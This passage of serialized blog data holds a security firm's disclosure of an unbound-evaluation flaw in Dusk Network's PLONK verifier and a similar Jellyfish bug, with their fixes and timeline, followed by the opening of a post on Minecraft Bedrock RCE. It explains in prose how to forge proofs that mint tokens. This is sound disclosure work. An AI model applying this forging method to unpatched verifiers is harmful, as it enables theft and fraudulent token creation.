tyle":91615},[2717],[144732],{"type":23,"tag":141,"props":144733,"children":144734},{},[],{"type":23,"tag":141,"props":144736,"children":144738},{"className":144737},[20411],[144739],{"type":29,"value":14088},{"type":29,"value":144741}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":23,"tag":38,"props":144743,"children":144745},{"className":144744},[2658,2659],[144746],{"type":23,"tag":141,"props":144747,"children":144749},{"className":144748},[2664],[144750],{"type":23,"tag":141,"props":144751,"children":144753},{"className":144752,"ariaHidden":2670},[2669],[144754],{"type":23,"tag":141,"props":144755,"children":144757},{"className":144756},[2675],[144758,144762,144819,144824,144829],{"type":23,"tag":141,"props":144759,"children":144761},{"className":144760,"style":2787},[2680],[],{"type":23,"tag":141,"props":144763,"children":144765},{"className":144764},[2686],[144766,144771],{"type":23,"tag":141,"props":144767,"children":144769},{"className":144768,"style":92018},[2686,20260],[144770],{"type":29,"value":143117},{"type":23,"tag":141,"props":144772,"children":144774},{"className":144773},[2702],[144775],{"type":23,"tag":141,"props":144776,"children":144778},{"className":144777},[2707,20314],[144779,144808],{"type":23,"tag":141,"props":144780,"children":144782},{"className":144781},[2712],[144783,144803],{"type":23,"tag":141,"props":144784,"children":144786},{"className":144785,"style":91584},[2717],[144787],{"type":23,"tag":141,"props":144788,"children":144789},{"style":92065},[144790,144794],{"type":23,"tag":141,"props":144791,"children":144793},{"className":144792,"style":2727},[2726],[],{"type":23,"tag":141,"props":144795,"children":144797},{"className":144796},[2732,2733,2734,2735],[144798],{"type":23,"tag":141,"props":144799,"children":144801},{"className":144800},[2686,2735],[144802],{"type":29,"value":16205},{"type":23,"tag":141,"props":144804,"children":144806},{"className":144805},[20417],[144807],{"type":29,"value":20420},{"type":23,"tag":141,"props":144809,"children":144811},{"className":144810},[2712],[144812],{"type":23,"tag":141,"props":144813,"children":144815},{"className":144814,"style":91615},[2717],[144816],{"type":23,"tag":141,"props":144817,"children":144818},{},[],{"type":23,"tag":141,"props":144820,"children":144822},{"className":144821},[20389],[144823],{"type":29,"value":192},{"type":23,"tag":141,"props":144825,"children":144827},{"className":144826,"style":112089},[2686,20260],[144828],{"type":29,"value":112092},{"type":23,"tag":141,"props":144830,"children":144832},{"className":144831},[20411],[144833],{"type":29,"value":1788},{"type":29,"value":1220},{"type":23,"tag":55,"props":144836,"children":144839},{"href":144837,"rel":144838},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[59],[144840],{"type":29,"value":144841},"permutation verifier key",{"type":29,"value":19414},{"type":23,"tag":32,"props":144844,"children":144845},{},[144846,144848,144858],{"type":29,"value":144847},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":23,"tag":55,"props":144849,"children":144852},{"href":144850,"rel":144851},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[59],[144853],{"type":23,"tag":38,"props":144854,"children":144856},{"className":144855},[],[144857],{"type":29,"value":144299},{"type":29,"value":144859},", which leaves the master equation underconstrained.",{"type":23,"tag":32,"props":144861,"children":144862},{},[144863],{"type":23,"tag":2591,"props":144864,"children":144867},{"alt":144865,"src":144866},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":23,"tag":17463,"props":144869,"children":144870},{},[],{"type":23,"tag":24,"props":144872,"children":144874},{"id":144873},"the-exploitation",[144875],{"type":29,"value":144876},"The exploitation",{"type":23,"tag":32,"props":144878,"children":144879},{},[144880],{"type":29,"value":144881},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":23,"tag":32,"props":144883,"children":144884},{},[144885,144887,144893,144895,144900,144902,144907,144909,144915],{"type":29,"value":144886},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":23,"tag":38,"props":144888,"children":144890},{"className":144889},[],[144891],{"type":29,"value":144892},"z_challenge",{"type":29,"value":144894},", it computes what the linearization polynomial ",{"type":23,"tag":47,"props":144896,"children":144897},{},[144898],{"type":29,"value":144899},"should",{"type":29,"value":144901}," evaluate to for the pairing check to pass, then solves for ",{"type":23,"tag":38,"props":144903,"children":144905},{"className":144904},[],[144906],{"type":29,"value":144420},{"type":29,"value":144908},", the single free variable that makes the verification equation balance (setting ",{"type":23,"tag":38,"props":144910,"children":144912},{"className":144911},[],[144913],{"type":29,"value":144914},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":29,"value":19414},{"type":23,"tag":32,"props":144917,"children":144918},{},[144919],{"type":23,"tag":2591,"props":144920,"children":144923},{"alt":144921,"src":144922},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":23,"tag":32,"props":144925,"children":144926},{},[144927,144929,144969,144971,144996,144998,145003],{"type":29,"value":144928},"To achieve this one may compute the linearization polynomial ",{"type":23,"tag":38,"props":144930,"children":144932},{"className":144931},[2658,2659],[144933],{"type":23,"tag":141,"props":144934,"children":144936},{"className":144935},[2664],[144937],{"type":23,"tag":141,"props":144938,"children":144940},{"className":144939,"ariaHidden":2670},[2669],[144941],{"type":23,"tag":141,"props":144942,"children":144944},{"className":144943},[2675],[144945,144949,144954,144959,144964],{"type":23,"tag":141,"props":144946,"children":144948},{"className":144947,"style":2787},[2680],[],{"type":23,"tag":141,"props":144950,"children":144952},{"className":144951,"style":91532},[2686,20260],[144953],{"type":29,"value":92351},{"type":23,"tag":141,"props":144955,"children":144957},{"className":144956},[20389],[144958],{"type":29,"value":192},{"type":23,"tag":141,"props":144960,"children":144962},{"className":144961},[2686,20260],[144963],{"type":29,"value":17947},{"type":23,"tag":141,"props":144965,"children":144967},{"className":144966},[20411],[144968],{"type":29,"value":1788},{"type":29,"value":144970}," with all selectors set to zero, evaluating it at ",{"type":23,"tag":38,"props":144972,"children":144974},{"className":144973},[2658,2659],[144975],{"type":23,"tag":141,"props":144976,"children":144978},{"className":144977},[2664],[144979],{"type":23,"tag":141,"props":144980,"children":144982},{"className":144981,"ariaHidden":2670},[2669],[144983],{"type":23,"tag":141,"props":144984,"children":144986},{"className":144985},[2675],[144987,144991],{"type":23,"tag":141,"props":144988,"children":144990},{"className":144989,"style":109373},[2680],[],{"type":23,"tag":141,"props":144992,"children":144994},{"className":144993,"style":112089},[2686,20260],[144995],{"type":29,"value":112092},{"type":29,"value":144997},", and comparing to the target value; the difference divided by the coefficient of ",{"type":23,"tag":38,"props":144999,"children":145001},{"className":145000},[],[145002],{"type":29,"value":144420},{"type":29,"value":145004}," gives the required value in a single field division.",{"type":23,"tag":17463,"props":145006,"children":145007},{},[],{"type":23,"tag":24,"props":145009,"children":145011},{"id":145010},"impact-on-dusk-network",[145012],{"type":29,"value":145013},"Impact on Dusk Network",{"type":23,"tag":32,"props":145015,"children":145016},{},[145017,145019,145026],{"type":29,"value":145018},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":23,"tag":55,"props":145020,"children":145023},{"href":145021,"rel":145022},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[59],[145024],{"type":29,"value":145025},"preverify path",{"type":29,"value":145027},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":23,"tag":116,"props":145029,"children":145030},{},[145031,145036,145041],{"type":23,"tag":120,"props":145032,"children":145033},{},[145034],{"type":29,"value":145035},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":23,"tag":120,"props":145037,"children":145038},{},[145039],{"type":29,"value":145040},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":23,"tag":120,"props":145042,"children":145043},{},[145044],{"type":29,"value":145045},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":23,"tag":32,"props":145047,"children":145048},{},[145049],{"type":29,"value":145050},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":23,"tag":116,"props":145052,"children":145053},{},[145054,145059,145069,145081,145086],{"type":23,"tag":120,"props":145055,"children":145056},{},[145057],{"type":29,"value":145058},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":23,"tag":120,"props":145060,"children":145061},{},[145062,145064],{"type":29,"value":145063},"The malicious wallet forges a PLONK proof to create ",{"type":23,"tag":3998,"props":145065,"children":145066},{},[145067],{"type":29,"value":145068},"2000 DUSK from nothing",{"type":23,"tag":120,"props":145070,"children":145071},{},[145072,145074,145079],{"type":29,"value":145073},"The malicious wallet transfers ",{"type":23,"tag":3998,"props":145075,"children":145076},{},[145077],{"type":29,"value":145078},"1337 DUSK",{"type":29,"value":145080}," to the honest wallet using a normal (honestly-proved) transaction",{"type":23,"tag":120,"props":145082,"children":145083},{},[145084],{"type":29,"value":145085},"The honest node validates both transactions and mines them into blocks",{"type":23,"tag":120,"props":145087,"children":145088},{},[145089],{"type":29,"value":145090},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":23,"tag":32,"props":145092,"children":145093},{},[145094],{"type":23,"tag":2591,"props":145095,"children":145098},{"alt":145096,"src":145097},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":23,"tag":32,"props":145100,"children":145101},{},[145102,145104,145110,145112,145119],{"type":29,"value":145103},"At the time of discovery, DUSK's market cap was roughly ",{"type":23,"tag":55,"props":145105,"children":145107},{"href":140405,"rel":145106},[59],[145108],{"type":29,"value":145109},"~60M",{"type":29,"value":145111},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":23,"tag":55,"props":145113,"children":145116},{"href":145114,"rel":145115},"https://neptune.cash/articles/critical-vulnerability-disclosure",[59],[145117],{"type":29,"value":145118},"Triton VM vulnerability",{"type":29,"value":322},{"type":23,"tag":17463,"props":145121,"children":145122},{},[],{"type":23,"tag":24,"props":145124,"children":145126},{"id":145125},"the-fix",[145127],{"type":29,"value":145128},"The fix",{"type":23,"tag":32,"props":145130,"children":145131},{},[145132],{"type":29,"value":145133},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":23,"tag":15362,"props":145135,"children":145136},{},[145137,145182],{"type":23,"tag":120,"props":145138,"children":145139},{},[145140,145142,145153,145155,145161,145162,145168,145169,145175,145176],{"type":29,"value":145141},"Extend ",{"type":23,"tag":55,"props":145143,"children":145146},{"href":145144,"rel":145145},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[59],[145147],{"type":23,"tag":38,"props":145148,"children":145150},{"className":145149},[],[145151],{"type":29,"value":145152},"compute_aggregate_witness",{"type":29,"value":145154}," on the prover side to also include ",{"type":23,"tag":38,"props":145156,"children":145158},{"className":145157},[],[145159],{"type":29,"value":145160},"q_arith",{"type":29,"value":480},{"type":23,"tag":38,"props":145163,"children":145165},{"className":145164},[],[145166],{"type":29,"value":145167},"q_c",{"type":29,"value":480},{"type":23,"tag":38,"props":145170,"children":145172},{"className":145171},[],[145173],{"type":29,"value":145174},"q_l",{"type":29,"value":5161},{"type":23,"tag":38,"props":145177,"children":145179},{"className":145178},[],[145180],{"type":29,"value":145181},"q_r",{"type":23,"tag":120,"props":145183,"children":145184},{},[145185,145187,145197],{"type":29,"value":145186},"Add their evaluations to ",{"type":23,"tag":55,"props":145188,"children":145191},{"href":145189,"rel":145190},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[59],[145192],{"type":23,"tag":38,"props":145193,"children":145195},{"className":145194},[],[145196],{"type":29,"value":144299},{"type":29,"value":145198}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":23,"tag":32,"props":145200,"children":145201},{},[145202,145204,145211],{"type":29,"value":145203},"This was done in ",{"type":23,"tag":55,"props":145205,"children":145208},{"href":145206,"rel":145207},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[59],[145209],{"type":29,"value":145210},"commit 645265b7",{"type":29,"value":145212},", which landed on February 14, 2026.",{"type":23,"tag":17463,"props":145214,"children":145215},{},[],{"type":23,"tag":24,"props":145217,"children":145219},{"id":145218},"why-was-this-missed",[145220],{"type":29,"value":145221},"Why was this missed?",{"type":23,"tag":32,"props":145223,"children":145224},{},[145225,145227,145234,145235,145242,145244,145251,145253,145260],{"type":29,"value":145226},"Dusk's stack had been heavily audited: a ",{"type":23,"tag":55,"props":145228,"children":145231},{"href":145229,"rel":145230},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[59],[145232],{"type":29,"value":145233},"December 2023 audit of dusk-plonk",{"type":29,"value":122875},{"type":23,"tag":55,"props":145236,"children":145239},{"href":145237,"rel":145238},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[59],[145240],{"type":29,"value":145241},"September 2024 audit of Phoenix",{"type":29,"value":145243},", and a ",{"type":23,"tag":55,"props":145245,"children":145248},{"href":145246,"rel":145247},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[59],[145249],{"type":29,"value":145250},"September 2024 Oak Security audit of the Rusk node library",{"type":29,"value":145252},". Dusk's public ",{"type":23,"tag":55,"props":145254,"children":145257},{"href":145255,"rel":145256},"https://dusk.network/news/audits-overview",[59],[145258],{"type":29,"value":145259},"audits overview",{"type":29,"value":145261}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":23,"tag":32,"props":145263,"children":145264},{},[145265,145267,145272],{"type":29,"value":145266},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":23,"tag":47,"props":145268,"children":145269},{},[145270],{"type":29,"value":145271},"evaluations",{"type":29,"value":322},{"type":23,"tag":32,"props":145274,"children":145275},{},[145276],{"type":29,"value":145277},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":23,"tag":32,"props":145279,"children":145280},{},[145281],{"type":29,"value":145282},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":23,"tag":24,"props":145284,"children":145286},{"id":145285},"a-similar-bug-in-espresso-systems-jellyfish",[145287],{"type":29,"value":145288},"A similar bug in Espresso Systems' Jellyfish",{"type":23,"tag":32,"props":145290,"children":145291},{},[145292,145294,145301],{"type":29,"value":145293},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":23,"tag":55,"props":145295,"children":145298},{"href":145296,"rel":145297},"https://github.com/EspressoSystems/jellyfish/",[59],[145299],{"type":29,"value":145300},"jf-plonk",{"type":29,"value":145302}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":23,"tag":32,"props":145304,"children":145305},{},[145306,145308,145315,145317,145328,145330,145355,145357,145382],{"type":29,"value":145307},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":23,"tag":55,"props":145309,"children":145312},{"href":145310,"rel":145311},"https://eprint.iacr.org/2020/315",[59],[145313],{"type":29,"value":145314},"Plookup",{"type":29,"value":145316}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":23,"tag":55,"props":145318,"children":145321},{"href":145319,"rel":145320},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[59],[145322],{"type":23,"tag":38,"props":145323,"children":145325},{"className":145324},[],[145326],{"type":29,"value":145327},"append_plookup_evaluations",{"type":29,"value":145329}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":23,"tag":38,"props":145331,"children":145333},{"className":145332},[2658,2659],[145334],{"type":23,"tag":141,"props":145335,"children":145337},{"className":145336},[2664],[145338],{"type":23,"tag":141,"props":145339,"children":145341},{"className":145340,"ariaHidden":2670},[2669],[145342],{"type":23,"tag":141,"props":145343,"children":145345},{"className":145344},[2675],[145346,145350],{"type":23,"tag":141,"props":145347,"children":145349},{"className":145348,"style":109373},[2680],[],{"type":23,"tag":141,"props":145351,"children":145353},{"className":145352,"style":92018},[2686,20260],[145354],{"type":29,"value":112436},{"type":29,"value":145356}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":23,"tag":38,"props":145358,"children":145360},{"className":145359},[2658,2659],[145361],{"type":23,"tag":141,"props":145362,"children":145364},{"className":145363},[2664],[145365],{"type":23,"tag":141,"props":145366,"children":145368},{"className":145367,"ariaHidden":2670},[2669],[145369],{"type":23,"tag":141,"props":145370,"children":145372},{"className":145371},[2675],[145373,145377],{"type":23,"tag":141,"props":145374,"children":145376},{"className":145375,"style":109373},[2680],[],{"type":23,"tag":141,"props":145378,"children":145380},{"className":145379,"style":92018},[2686,20260],[145381],{"type":29,"value":112436},{"type":29,"value":145383},", so the prover can adjust them after the fact to make the check pass.",{"type":23,"tag":32,"props":145385,"children":145386},{},[145387,145389,145395,145397,145403],{"type":29,"value":145388},"The attack requires modifying a single evaluation (",{"type":23,"tag":38,"props":145390,"children":145392},{"className":145391},[],[145393],{"type":29,"value":145394},"key_table_next_eval",{"type":29,"value":145396},") by ",{"type":23,"tag":38,"props":145398,"children":145400},{"className":145399},[],[145401],{"type":29,"value":145402},"delta / (u * v^3)",{"type":29,"value":145404}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":23,"tag":32,"props":145406,"children":145407},{},[145408,145410,145417,145419,145430],{"type":29,"value":145409},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":23,"tag":55,"props":145411,"children":145414},{"href":145412,"rel":145413},"https://github.com/EspressoSystems/jellyfish/pull/867",[59],[145415],{"type":29,"value":145416},"PR #867",{"type":29,"value":145418}," fixed the issue and was tagged as ",{"type":23,"tag":55,"props":145420,"children":145423},{"href":145421,"rel":145422},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[59],[145424],{"type":23,"tag":38,"props":145425,"children":145427},{"className":145426},[],[145428],{"type":29,"value":145429},"jf-plonk-v0.8.0",{"type":29,"value":145431}," on March 18, 2026.",{"type":23,"tag":17463,"props":145433,"children":145434},{},[],{"type":23,"tag":24,"props":145436,"children":145438},{"id":145437},"toward-standardization",[145439],{"type":29,"value":145440},"Toward standardization",{"type":23,"tag":32,"props":145442,"children":145443},{},[145444,145446,145453],{"type":29,"value":145445},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":23,"tag":55,"props":145447,"children":145450},{"href":145448,"rel":145449},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[59],[145451],{"type":29,"value":145452},"similar patterns appear across zkVMs",{"type":29,"value":145454},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":23,"tag":32,"props":145456,"children":145457},{},[145458],{"type":29,"value":145459},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":23,"tag":32,"props":145461,"children":145462},{},[145463],{"type":29,"value":145464},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":23,"tag":24,"props":145466,"children":145467},{"id":59304},[145468],{"type":29,"value":145469},"Disclosure timeline",{"type":23,"tag":54224,"props":145471,"children":145472},{},[145473,145489],{"type":23,"tag":121483,"props":145474,"children":145475},{},[145476],{"type":23,"tag":121487,"props":145477,"children":145478},{},[145479,145484],{"type":23,"tag":121491,"props":145480,"children":145481},{},[145482],{"type":29,"value":145483},"Date",{"type":23,"tag":121491,"props":145485,"children":145486},{},[145487],{"type":29,"value":145488},"Event",{"type":23,"tag":121511,"props":145490,"children":145491},{},[145492,145505,145518,145530,145556,145576],{"type":23,"tag":121487,"props":145493,"children":145494},{},[145495,145500],{"type":23,"tag":121518,"props":145496,"children":145497},{},[145498],{"type":29,"value":145499},"2026-02-13",{"type":23,"tag":121518,"props":145501,"children":145502},{},[145503],{"type":29,"value":145504},"Dusk vulnerability reported",{"type":23,"tag":121487,"props":145506,"children":145507},{},[145508,145513],{"type":23,"tag":121518,"props":145509,"children":145510},{},[145511],{"type":29,"value":145512},"2026-02-14",{"type":23,"tag":121518,"props":145514,"children":145515},{},[145516],{"type":29,"value":145517},"Dusk acknowledged",{"type":23,"tag":121487,"props":145519,"children":145520},{},[145521,145525],{"type":23,"tag":121518,"props":145522,"children":145523},{},[145524],{"type":29,"value":145512},{"type":23,"tag":121518,"props":145526,"children":145527},{},[145528],{"type":29,"value":145529},"Dusk fix committed",{"type":23,"tag":121487,"props":145531,"children":145532},{},[145533,145538],{"type":23,"tag":121518,"props":145534,"children":145535},{},[145536],{"type":29,"value":145537},"2026-02-27",{"type":23,"tag":121518,"props":145539,"children":145540},{},[145541,145543,145554],{"type":29,"value":145542},"Public ",{"type":23,"tag":55,"props":145544,"children":145547},{"href":145545,"rel":145546},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[59],[145548],{"type":23,"tag":38,"props":145549,"children":145551},{"className":145550},[],[145552],{"type":29,"value":145553},"dusk-rusk-1.6.0",{"type":29,"value":145555}," release published",{"type":23,"tag":121487,"props":145557,"children":145558},{},[145559,145564],{"type":23,"tag":121518,"props":145560,"children":145561},{},[145562],{"type":29,"value":145563},"2026-03-16",{"type":23,"tag":121518,"props":145565,"children":145566},{},[145567,145569,145575],{"type":29,"value":145568},"Jellyfish fix PR opened (",{"type":23,"tag":55,"props":145570,"children":145572},{"href":145412,"rel":145571},[59],[145573],{"type":29,"value":145574},"#867",{"type":29,"value":1788},{"type":23,"tag":121487,"props":145577,"children":145578},{},[145579,145584],{"type":23,"tag":121518,"props":145580,"children":145581},{},[145582],{"type":29,"value":145583},"2026-03-18",{"type":23,"tag":121518,"props":145585,"children":145586},{},[145587,145589,145594,145596],{"type":29,"value":145588},"Jellyfish fix merged in ",{"type":23,"tag":55,"props":145590,"children":145592},{"href":145412,"rel":145591},[59],[145593],{"type":29,"value":145574},{"type":29,"value":145595}," and tagged as ",{"type":23,"tag":55,"props":145597,"children":145599},{"href":145421,"rel":145598},[59],[145600],{"type":23,"tag":38,"props":145601,"children":145603},{"className":145602},[],[145604],{"type":29,"value":145429},{"type":23,"tag":24,"props":145606,"children":145608},{"id":145607},"acknowledgements",[145609],{"type":29,"value":145610},"Acknowledgements",{"type":23,"tag":32,"props":145612,"children":145613},{},[145614],{"type":29,"value":145615},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":180,"depth":180,"links":145617},[145618,145625,145626,145627,145628,145629,145630,145631,145632,145633,145634,145635],{"id":140435,"depth":180,"text":140438,"children":145619},[145620,145621,145622,145623,145624],{"id":140460,"depth":205,"text":140463},{"id":141263,"depth":205,"text":141266},{"id":142461,"depth":205,"text":142464},{"id":142491,"depth":205,"text":142494},{"id":142772,"depth":205,"text":142775},{"id":143505,"depth":180,"text":143508},{"id":143643,"depth":180,"text":143646},{"id":88786,"depth":180,"text":144274},{"id":144873,"depth":180,"text":144876},{"id":145010,"depth":180,"text":145013},{"id":145125,"depth":180,"text":145128},{"id":145218,"depth":180,"text":145221},{"id":145285,"depth":180,"text":145288},{"id":145437,"depth":180,"text":145440},{"id":59304,"depth":180,"text":145469},{"id":145607,"depth":180,"text":145610},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":145640,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":145641,"description":145642,"date":145643,"author":122142,"image":145644,"isFeatured":15,"onBlogPage":15,"tags":145646,"body":145649,"_type":1522,"_id":155029,"_source":1524,"_file":155030,"_stem":155031,"_extension":1527},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":145645,"width":95753,"height":13},"/posts/minecraft-heap-overflow-to-rce/title.png",[145647,145648],"minecraft","rce",{"type":20,"children":145650,"toc":155006},[145651,145656,145661,145666,145672,145677,145696,145701,145707,145712,145717,145723,145728,145733,145738,145744,145749,145754,145760,145780,145792,145799,145821,145835,145842,145848,145858,145878,145883,145889,145902,146247,146252,146260,146266,146285,146593,146621,146664,146676,146684,146689,147158,147177,147198,147540,147564,147836,147860,147887,148096,148115,148123,148142,148148,148210,148213,148235,148239,148244,148249,148255,148260,148274,148280,148294,148300,148313,148318,148326,148331,148337,148358,148366,148379,148382,148387,148401,148406,148411,148417,148422,148445,148450,148456,148461,148473,148485,148599,148619,148624,148629,148635,148640,148660,149275,149288,150362,150367,150375,150380,150386,150391,150399,150412,150417,150422,150429,150442,150447,150454,150509,150529,150536,150555,150562,150565,150570,150575,150581,150593,150606,150614,150685,150696,150730,150738,150743,150748,150754,150766,150785,150797,150802,150810,150829,150837,150856,150864,150890,150898,150903,150911,150916,150924,150927,150932,150937,150943,150956,150974,151012,151042,151050,151055,151061,151066,151071,151077,151089,151258,151270,151278,151283,151290,151295,151356,151403,151415,151420,151446,151520,151558,151563,151571,151592,151597,151623,151657,151710,151757,151763,151782,151814,151822,151925,151996,152002,152028,152035,152040,152047,152052,152293,152319,152324,152372,152377,152383,152415,152427,152459,152467,152506,152514,152519,152527,152532,152540,152552,152560,152572,152580,152592,152612,152618,152638,152655,152663,152675,152683,152702,152707,152715,152720,152728,152754,152765,152772,152777,152785,152790,152798,152803,152811,152816,152824,152829,152837,152842,152850,152891,152898,152903,152911,152916,152924,152929,152937,152942,152947,152955,152960,152968,152994,153002,153028,153036,153041,153049,153054,153062,153070,153075,153083,153088,153096,153099,153110,153144,153162,153170,153190,153196,153215,153273,153293,153301,153304,153343,153403,153408,153414,153427,153435,153487,153526,153534,153567,153570,153590,153598,153604,153609,153617,153657,153698,153718,153723,153728,153746,153752,153757,153776,153837,153845,153871,153877,153897,153902,153907,153914,153979,153984,153991,154012,154017,154029,154035,154068,154075,154080,154108,154115,154171,154183,154190,154251,154270,154276,154310,154331,154358,154366,154419,154489,154495,154515,154558,154563,154961,154967,154972,154983,154987,154992,154997,155002],{"type":23,"tag":33843,"props":145652,"children":145654},{"id":145653},"pwning-minecraft-4-byte-heap-overflow-to-rce",[145655],{"type":29,"value":145641},{"type":23,"tag":32,"props":145657,"children":145658},{},[145659],{"type":29,"value":145660},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":23,"tag":32,"props":145662,"children":145663},{},[145664],{"type":29,"value":145665},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":23,"tag":24,"props":145667,"children":145669},{"id":145668},"the-target",[145670],{"type":29,"value":145671},"The Target",{"type":23,"tag":32,"props":145673,"children":145674},{},[145675],{"type":29,"value":145676},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":23,"tag":32,"props":145678,"children":145679},{},[145680,145682,145687,145689,145694],{"type":29,"value":145681},"There are two main editions: ",{"type":23,"tag":3998,"props":145683,"children":145684},{},[145685],{"type":29,"value":145686},"Minecraft Java Edition",{"type":29,"value":145688},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":23,"tag":3998,"props":145690,"children":145691},{},[145692],{"type":29,"value":145693},"Minecraft Bedrock Edition",{"type":29,"value":145695},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":23,"tag":32,"props":145697,"children":145698},{},[145699],{"type":29,"value":145700},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":23,"tag":8287,"props":145702,"children":145704},{"id":145703},"choice-of-context",[145705],{"type":29,"value":145706},"Choice of Context",{"type":23,"tag":32,"props":145708,"children":145709},{},[145710],{"type":29,"value":145711},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client 